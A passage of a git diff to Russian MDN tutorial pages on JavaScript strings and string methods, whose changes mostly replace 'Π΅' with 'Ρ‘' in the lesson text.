ΠΊΠ°ΠΊ тСкст, Π° Π½Π΅ Ρ‡Π°ΡΡ‚ΡŒ ΠΊΠΎΠ΄Π°. Π’ JavaScript ΠΌΡ‹ Π΄Π΅Π»Π°Π΅ΠΌ это, помСщая ΠΎΠ±Ρ€Π°Ρ‚Π½ΡƒΡŽ ΠΊΠΎΡΡƒΡŽ Ρ‡Π΅Ρ€Ρ‚Ρƒ нСпосрСдствСнно ΠΏΠ΅Ρ€Π΅Π΄ символом. Π’Π²Π΅Π΄ΠΈΡ‚Π΅ эти строки:</p>
+<p>Π§Ρ‚ΠΎΠ±Ρ‹ ΠΈΡΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ Π½Π°ΡˆΡƒ ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΡƒΡŽ строку ΠΊΠΎΠ΄Π°, Π½Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Π΄Π°Ρ‚ΡŒ ΠΏΠΎΠ½ΡΡ‚ΡŒ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρƒ, Ρ‡Ρ‚ΠΎ ΠΊΠ°Π²Ρ‹Ρ‡ΠΊΠ° Π² сСрСдинС строки Π½Π΅ являСтся ΠΌΠ΅Ρ‚ΠΊΠΎΠΉ Π΅Ρ‘ ΠΊΠΎΠ½Ρ†Π°. Π­ΠΊΡ€Π°Π½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ символов ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ Π΄Π΅Π»Π°Π΅ΠΌ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ с Π½ΠΈΠΌΠΈ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ±Π΅Π΄ΠΈΡ‚ΡŒΡΡ, Ρ‡Ρ‚ΠΎ ΠΎΠ½ΠΈ Ρ€Π°ΡΠΏΠΎΠ·Π½Π°ΡŽΡ‚ΡΡ ΠΊΠ°ΠΊ тСкст, Π° Π½Π΅ Ρ‡Π°ΡΡ‚ΡŒ ΠΊΠΎΠ΄Π°. Π’ JavaScript ΠΌΡ‹ Π΄Π΅Π»Π°Π΅ΠΌ это, помСщая ΠΎΠ±Ρ€Π°Ρ‚Π½ΡƒΡŽ ΠΊΠΎΡΡƒΡŽ Ρ‡Π΅Ρ€Ρ‚Ρƒ нСпосрСдствСнно ΠΏΠ΅Ρ€Π΅Π΄ символом. Π’Π²Π΅Π΄ΠΈΡ‚Π΅ эти строки:</p>
<pre class="brush: js notranslate">var bigmouth = 'I\'ve got no right to take my place...';
bigmouth;</pre>
@@ -217,7 +217,7 @@ response;</pre>
</ol>
<div class="note">
-<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:Β </strong>Когда Π²Ρ‹ Π²Π²ΠΎΠ΄ΠΈΡ‚Π΅ Ρ„Π°ΠΊΡ‚ΠΈΡ‡Π΅ΡΠΊΡƒΡŽ строку Π² свой ΠΊΠΎΠ΄, Π·Π°ΠΊΠ»ΡŽΡ‡Π΅Π½Π½ΡƒΡŽ Π² ΠΎΠ΄ΠΈΠ½Π°Ρ€Π½Ρ‹Π΅ ΠΈΠ»ΠΈ Π΄Π²ΠΎΠΉΠ½Ρ‹Π΅ ΠΊΠ°Π²Ρ‹Ρ‡ΠΊΠΈ, ΠΎΠ½Π° называСтся <strong>строковым Π»ΠΈΡ‚Π΅Ρ€Π°Π»ΠΎΠΌ.</strong></p>
+<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:Β </strong>Когда Π²Ρ‹ Π²Π²ΠΎΠ΄ΠΈΡ‚Π΅ Ρ„Π°ΠΊΡ‚ΠΈΡ‡Π΅ΡΠΊΡƒΡŽ строку Π² свой ΠΊΠΎΠ΄, Π·Π°ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½ΡƒΡŽ Π² ΠΎΠ΄ΠΈΠ½Π°Ρ€Π½Ρ‹Π΅ ΠΈΠ»ΠΈ Π΄Π²ΠΎΠΉΠ½Ρ‹Π΅ ΠΊΠ°Π²Ρ‹Ρ‡ΠΊΠΈ, ΠΎΠ½Π° называСтся <strong>строковым Π»ΠΈΡ‚Π΅Ρ€Π°Π»ΠΎΠΌ.</strong></p>
</div>
<h3 id="ΠšΠΎΠ½ΠΊΠ°Ρ‚Π΅Π½Π°Ρ†ΠΈΡ_строк_Π²_контСкстС">ΠšΠΎΠ½ΠΊΠ°Ρ‚Π΅Π½Π°Ρ†ΠΈΡ строк Π² контСкстС</h3>
@@ -235,7 +235,7 @@ button.onclick = function() {
<p>{{ EmbedLiveSample('Concatenation_in_context', '100%', 50) }}</p>
-<p>Π—Π΄Π΅ΡΡŒ ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ {{domxref ("Window.prompt ()", "Window.prompt ()")}} Π² строкС 4, которая просит ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ ΠΎΡ‚Π²Π΅Ρ‚ΠΈΡ‚ΡŒ Π½Π° вопрос Ρ‡Π΅Ρ€Π΅Π· Π²ΡΠΏΠ»Ρ‹Π²Π°ΡŽΡ‰Π΅Π΅ Π΄ΠΈΠ°Π»ΠΎΠ³ΠΎΠ²ΠΎΠ΅ ΠΎΠΊΠ½ΠΎ, Π° Π·Π°Ρ‚Π΅ΠΌ сохраняСт Π²Π²Π΅Π΄Π΅Π½Π½Ρ‹ΠΉ тСкст Π²Π½ΡƒΡ‚Ρ€ΠΈ Π·Π°Π΄Π°Π½Π½ΠΎΠΉ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ β€” Π² этом случаС <code><strong>name</strong></code>. Π—Π°Ρ‚Π΅ΠΌ ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ {{domxref ("Window.alert ()", "Window.alert ()")}} Π² строкС 5 для отобраТСния Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ Π²ΡΠΏΠ»Ρ‹Π²Π°ΡŽΡ‰Π΅Π³ΠΎ ΠΎΠΊΠ½Π°, содСрТащСго строку, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΌΡ‹ собрали ΠΈΠ· Π΄Π²ΡƒΡ… строковых Π»ΠΈΡ‚Π΅Ρ€Π°Π»ΠΎΠ² ΠΈ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ <code>name</code>.</p>
+<p>Π—Π΄Π΅ΡΡŒ ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ {{domxref ("Window.prompt ()", "Window.prompt ()")}} Π² строкС 4, которая просит ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ ΠΎΡ‚Π²Π΅Ρ‚ΠΈΡ‚ΡŒ Π½Π° вопрос Ρ‡Π΅Ρ€Π΅Π· Π²ΡΠΏΠ»Ρ‹Π²Π°ΡŽΡ‰Π΅Π΅ Π΄ΠΈΠ°Π»ΠΎΠ³ΠΎΠ²ΠΎΠ΅ ΠΎΠΊΠ½ΠΎ, Π° Π·Π°Ρ‚Π΅ΠΌ сохраняСт Π²Π²Π΅Π΄Ρ‘Π½Π½Ρ‹ΠΉ тСкст Π²Π½ΡƒΡ‚Ρ€ΠΈ Π·Π°Π΄Π°Π½Π½ΠΎΠΉ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ β€” Π² этом случаС <code><strong>name</strong></code>. Π—Π°Ρ‚Π΅ΠΌ ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ {{domxref ("Window.alert ()", "Window.alert ()")}} Π² строкС 5 для отобраТСния Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ Π²ΡΠΏΠ»Ρ‹Π²Π°ΡŽΡ‰Π΅Π³ΠΎ ΠΎΠΊΠ½Π°, содСрТащСго строку, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΌΡ‹ собрали ΠΈΠ· Π΄Π²ΡƒΡ… строковых Π»ΠΈΡ‚Π΅Ρ€Π°Π»ΠΎΠ² ΠΈ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ <code>name</code>.</p>
<h3 id="Числа_vs._строки">Числа vs. строки</h3>
@@ -244,7 +244,7 @@ button.onclick = function() {
<pre class="brush: js notranslate">'Front ' + 242;
</pre>
Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΎΠΆΠΈΠ΄Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ это Π²Ρ‹Π·ΠΎΠ²Π΅Ρ‚ ΠΎΡˆΠΈΠ±ΠΊΡƒ, Π½ΠΎ всС Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ ΠΎΡ‚Π»ΠΈΡ‡Π½ΠΎ. ΠŸΠΎΠΏΡ‹Ρ‚ΠΊΠ° ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ строку ΠΊΠ°ΠΊ число Π½Π° самом Π΄Π΅Π»Π΅ Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ смысла, Π½ΠΎ число ΠΊΠ°ΠΊ строку — ΠΈΠΌΠ΅Π΅Ρ‚, поэтому Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ довольно ΡƒΠΌΠ½ΠΎ ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΡƒΠ΅Ρ‚ число Π² строку ΠΈ ΠΎΠ±ΡŠΠ΅Π΄ΠΈΠ½ΡΠ΅Ρ‚ Π΄Π²Π΅ строки вмСстС.</li>
- <li>Π’Ρ‹ Π΄Π°ΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ это с двумя числами, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π·Π°ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ число ΡΡ‚Π°Ρ‚ΡŒ строкой, ΠΎΠ±Π΅Ρ€Π½ΡƒΠ² Π΅Π΅ Π² ΠΊΠ°Π²Ρ‹Ρ‡ΠΊΠΈ. ΠŸΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π΅ (ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ <code>typeof</code> для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒΒ ΡΠ²Π»ΡΠ΅Ρ‚ΡΡ Π»ΠΈ пСрСмСнная числом ΠΈΠ»ΠΈ строкой):
+ <li>Π’Ρ‹ Π΄Π°ΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ это с двумя числами, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π·Π°ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ число ΡΡ‚Π°Ρ‚ΡŒ строкой, ΠΎΠ±Π΅Ρ€Π½ΡƒΠ² Π΅Ρ‘ Π² ΠΊΠ°Π²Ρ‹Ρ‡ΠΊΠΈ. ΠŸΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π΅ (ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ <code>typeof</code> для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒΒ ΡΠ²Π»ΡΠ΅Ρ‚ΡΡ Π»ΠΈ пСрСмСнная числом ΠΈΠ»ΠΈ строкой):
<pre class="brush: js notranslate">var myDate = '19' + '67';
typeof myDate;</pre>
</li>
diff --git a/files/ru/learn/javascript/first_steps/useful_string_methods/index.html b/files/ru/learn/javascript/first_steps/useful_string_methods/index.html
index aa85c3309d..9e461e9da7 100644
--- a/files/ru/learn/javascript/first_steps/useful_string_methods/index.html
+++ b/files/ru/learn/javascript/first_steps/useful_string_methods/index.html
@@ -20,7 +20,7 @@ original_slug: Learn/JavaScript/ΠŸΠ΅Ρ€Π²Ρ‹Π΅_шаги/Useful_string_methods
<p>{{PreviousMenuNext("Learn/JavaScript/ΠŸΠ΅Ρ€Π²Ρ‹Π΅_шаги/Π‘Ρ‚Ρ€ΠΎΠΊΠΈ", "Learn/JavaScript/ΠŸΠ΅Ρ€Π²Ρ‹Π΅_шаги/Arrays", "Learn/JavaScript/ΠŸΠ΅Ρ€Π²Ρ‹Π΅_шаги")}}</p>
-<p>ΠœΡ‹ рассмотрСли Π±Π°Π·ΠΎΠ²Ρ‹Π΅ понятия, ΠΊΠ°ΡΠ°ΡŽΡ‰ΠΈΠ΅ΡΡ строк.Β Π”Π°Π²Π°ΠΉΡ‚Π΅ ΠΏΠΎΠΉΠ΄Π΅ΠΌ дальшС ΠΈ рассмотрим, ΠΊΠ°ΠΊΠΈΠ΅ ΠΏΠΎΠ»Π΅Π·Π½Ρ‹Π΅ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ со строками, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ встроСнныС Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ поиск Π΄Π»ΠΈΠ½Ρ‹ тСкстовой строки, объСдинСниС ΠΈ Ρ€Π°Π·Π΄Π΅Π»Π΅Π½ΠΈΠ΅ строк, Π·Π°ΠΌΠ΅Π½Π° ΠΎΠ΄Π½ΠΎΠ³ΠΎ символа ΠΈΠ· строки Π΄Ρ€ΡƒΠ³ΠΈΠΌ ΠΈ ΠΌΠ½ΠΎΠ³ΠΎΠ΅ Π΄Ρ€ΡƒΠ³ΠΎΠ΅.</p>
+<p>ΠœΡ‹ рассмотрСли Π±Π°Π·ΠΎΠ²Ρ‹Π΅ понятия, ΠΊΠ°ΡΠ°ΡŽΡ‰ΠΈΠ΅ΡΡ строк.Β Π”Π°Π²Π°ΠΉΡ‚Π΅ ΠΏΠΎΠΉΠ΄Ρ‘ΠΌ дальшС ΠΈ рассмотрим, ΠΊΠ°ΠΊΠΈΠ΅ ΠΏΠΎΠ»Π΅Π·Π½Ρ‹Π΅ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ со строками, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ встроСнныС Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ поиск Π΄Π»ΠΈΠ½Ρ‹ тСкстовой строки, объСдинСниС ΠΈ Ρ€Π°Π·Π΄Π΅Π»Π΅Π½ΠΈΠ΅ строк, Π·Π°ΠΌΠ΅Π½Π° ΠΎΠ΄Π½ΠΎΠ³ΠΎ символа ΠΈΠ· строки Π΄Ρ€ΡƒΠ³ΠΈΠΌ ΠΈ ΠΌΠ½ΠΎΠ³ΠΎΠ΅ Π΄Ρ€ΡƒΠ³ΠΎΠ΅.</p>
<table class="learn-box standard-table">
<tbody>
@@ -37,7 +37,7 @@ original_slug: Learn/JavaScript/ΠŸΠ΅Ρ€Π²Ρ‹Π΅_шаги/Useful_string_methods
<h2 id="Π‘Ρ‚Ρ€ΠΎΠΊΠΈ_ΠΊΠ°ΠΊ_ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹">Π‘Ρ‚Ρ€ΠΎΠΊΠΈ ΠΊΠ°ΠΊ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹</h2>
-<p id="Useful_string_methods">ΠŸΠΎΡ‡Ρ‚ΠΈ всё Π²Β JavaScript являСтся ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°ΠΌΠΈ. Когда Π²Ρ‹ создаСтС строку, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€:Β </p>
+<p id="Useful_string_methods">ΠŸΠΎΡ‡Ρ‚ΠΈ всё Π²Β JavaScript являСтся ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°ΠΌΠΈ. Когда Π²Ρ‹ создаётС строку, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€:Β </p>
<pre class="notranslate">let string = 'This is my string';</pre>
@@ -45,7 +45,7 @@ original_slug: Learn/JavaScript/ΠŸΠ΅Ρ€Π²Ρ‹Π΅_шаги/Useful_string_methods
<p><strong>Волько Π½Π΅ Π²ΠΎΠ»Π½ΡƒΠΉΡ‚Π΅ΡΡŒ!</strong> Π‘ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²ΠΎ ΠΈΠ· Π½ΠΈΡ… Π²Π°ΠΌ Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ Π·Π½Π°Ρ‚ΡŒ сСйчас на Ρ€Π°Π½Π½Π΅ΠΉ стадии вашСго обучСния. Но нСкоторыС ΠΈΠ· Π½ΠΈΡ…Β Π²Ρ‹, Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, Π±ΡƒΠ΄Π΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ довольно часто.Β Π˜Ρ… ΠΌΡ‹ ΠΈ рассмотрим.</p>
-<p>ΠŸΡ€ΠΈΠ²Π΅Π΄Π΅ΠΌ нСсколько ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠ² Π² Π½ΠΎΠ²ΠΎΠΉ консоли. НиТС Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅Β <a href="https://mdn.github.io/learning-area/javascript/introduction-to-js-1/variables/index.html">ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΡŒ Π΄Π°Π½Π½ΡƒΡŽ консоль</a>Β Π² ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎΠΉ Π²ΠΊΠ»Π°Π΄ΠΊΠ΅ ΠΈΠ»ΠΈ ΠΎΠΊΠ½Π΅, ΠΈΠ»ΠΈ, Ссли Π²Π°ΠΌ Ρ‚Π°ΠΊ ΡƒΠ΄ΠΎΠ±Π½Π΅ΠΉ,Β ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΒ <a href="https://developer.mozilla.org/ru/docs/Learn/Discover_browser_developer_tools">Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ консоли Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°</a>.</p>
+<p>ΠŸΡ€ΠΈΠ²Π΅Π΄Ρ‘ΠΌ нСсколько ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠ² Π² Π½ΠΎΠ²ΠΎΠΉ консоли. НиТС Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅Β <a href="https://mdn.github.io/learning-area/javascript/introduction-to-js-1/variables/index.html">ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΡŒ Π΄Π°Π½Π½ΡƒΡŽ консоль</a>Β Π² ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎΠΉ Π²ΠΊΠ»Π°Π΄ΠΊΠ΅ ΠΈΠ»ΠΈ ΠΎΠΊΠ½Π΅, ΠΈΠ»ΠΈ, Ссли Π²Π°ΠΌ Ρ‚Π°ΠΊ ΡƒΠ΄ΠΎΠ±Π½Π΅ΠΉ,Β ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΒ <a href="https://developer.mozilla.org/ru/docs/Learn/Discover_browser_developer_tools">Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ консоли Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°</a>.</p>
<div class="hidden">
<h6 id="Hidden_code">Hidden code</h6>
@@ -162,9 +162,9 @@ original_slug: Learn/JavaScript/ΠŸΠ΅Ρ€Π²Ρ‹Π΅_шаги/Useful_string_methods
<pre class="notranslate">let browserType = 'mozilla';
browserType.length;</pre>
-<p>Π Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠΌ Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π±Ρ‹Ρ‚ΡŒ число 7, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ слово Β«mozillaΒ» состоит ΠΈΠ· 7 символов. Π­Ρ‚ΠΎ свойство ΠΌΠΎΠΆΠ½ΠΎ ΠΏΡ€ΠΈΠΌΠ΅Π½ΠΈΡ‚ΡŒ,Β Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Ссли Π²Ρ‹ Π·Π°Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Π½Π°ΠΉΡ‚ΠΈ Π΄Π»ΠΈΠ½Ρ‹ сСрии ΠΈΠΌΠ΅Π½, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΡ… ΠΌΠΎΠΆΠ½ΠΎ Π±Ρ‹Π»ΠΎ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒΒ ΠΏΠΎ порядку Π΄Π»ΠΈΠ½Ρ‹ ΠΈΠ»ΠΈ ΡΠΎΠΎΠ±Ρ‰ΠΈΡ‚ΡŒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ, Ρ‡Ρ‚ΠΎ имя ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΎΠ½ Π²Π²Ρ‘Π»Β Π² ΠΏΠΎΠ»Π΅ Ρ„ΠΎΡ€ΠΌΡ‹, слишком Π΄Π»ΠΈΠ½Π½ΠΎΠ΅, Ссли ΠΎΠ½ΠΎ ΠΏΡ€Π΅Π²Ρ‹ΡˆΠ°Π΅Ρ‚ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΡƒΡŽ Π΄Π»ΠΈΠ½Ρƒ.</p>
+<p>Π Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠΌ Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π±Ρ‹Ρ‚ΡŒ число 7, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ слово Β«mozillaΒ» состоит ΠΈΠ· 7 символов. Π­Ρ‚ΠΎ свойство ΠΌΠΎΠΆΠ½ΠΎ ΠΏΡ€ΠΈΠΌΠ΅Π½ΠΈΡ‚ΡŒ,Β Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Ссли Π²Ρ‹ Π·Π°Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Π½Π°ΠΉΡ‚ΠΈ Π΄Π»ΠΈΠ½Ρ‹ сСрии ΠΈΠΌΡ‘Π½, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΡ… ΠΌΠΎΠΆΠ½ΠΎ Π±Ρ‹Π»ΠΎ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒΒ ΠΏΠΎ порядку Π΄Π»ΠΈΠ½Ρ‹ ΠΈΠ»ΠΈ ΡΠΎΠΎΠ±Ρ‰ΠΈΡ‚ΡŒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ, Ρ‡Ρ‚ΠΎ имя ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΎΠ½ Π²Π²Ρ‘Π»Β Π² ΠΏΠΎΠ»Π΅ Ρ„ΠΎΡ€ΠΌΡ‹, слишком Π΄Π»ΠΈΠ½Π½ΠΎΠ΅, Ссли ΠΎΠ½ΠΎ ΠΏΡ€Π΅Π²Ρ‹ΡˆΠ°Π΅Ρ‚ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΡƒΡŽ Π΄Π»ΠΈΠ½Ρƒ.</p>
-<h3 id="ΠŸΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈΠ΅_ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎ_строкового_символа">ΠŸΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈΠ΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎ строкового символа</h3>
+<h3 id="ΠŸΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈΠ΅_ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ_строкового_символа">ΠŸΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈΠ΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ строкового символа</h3>
<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²Π΅Ρ€Π½ΡƒΡ‚ΡŒ любой символ Π²Π½ΡƒΡ‚Ρ€ΠΈ строки, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ <strong>ΠΎΠ±ΠΎΠ·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π² ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚Π½Ρ‹Ρ… скобках.</strong>Β Π­Ρ‚ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ Π²Ρ‹ добавляСтС ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚Π½Ρ‹Π΅ скобки ([ ]) Π² ΠΊΠΎΠ½Ρ†Π΅ вашСго ΠΈΠΌΠ΅Π½ΠΈ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ. Π’ ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚Π½Ρ‹Ρ… скобках Π²Ρ‹ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚Π΅ Π½ΠΎΠΌΠ΅Ρ€ символа, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Π²Π΅Ρ€Π½ΡƒΡ‚ΡŒ. НапримСр, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ΠΏΠ΅Ρ€Π²ΡƒΡŽ Π±ΡƒΠΊΠ²Ρƒ, Π½ΡƒΠΆΠ½ΠΎ Π½Π°ΠΏΠΈΡΠ°Ρ‚ΡŒ:</p>
@@ -174,14 +174,14 @@ browserType.length;</pre>
<pre class="syntaxbox notranslate"> browserType[browserType.length-1];</pre>
-<p>Π”Π»ΠΈΠ½Π° слова Β«mozillaΒ» Ρ€Π°Π²Π½Π° 7, Π½ΠΎ, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ счСт начинаСтся с 0, позиция послСднСго символа Ρ€Π°Π²Π½Π° 6, поэтому Π½Π°ΠΌ Π½ΡƒΠΆΠ½Π° <code>length-1</code>. Π’Π°ΠΊΠΎΠΉ способ ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π½Π°ΠΉΡ‚ΠΈ ΠΏΠ΅Ρ€Π²ΡƒΡŽ Π±ΡƒΠΊΠ²Ρƒ ряда строк ΠΈ ΡƒΠΏΠΎΡ€ΡΠ΄ΠΎΡ‡ΠΈΡ‚ΡŒ ΠΈΡ… ΠΏΠΎ Π°Π»Ρ„Π°Π²ΠΈΡ‚Ρƒ.</p>
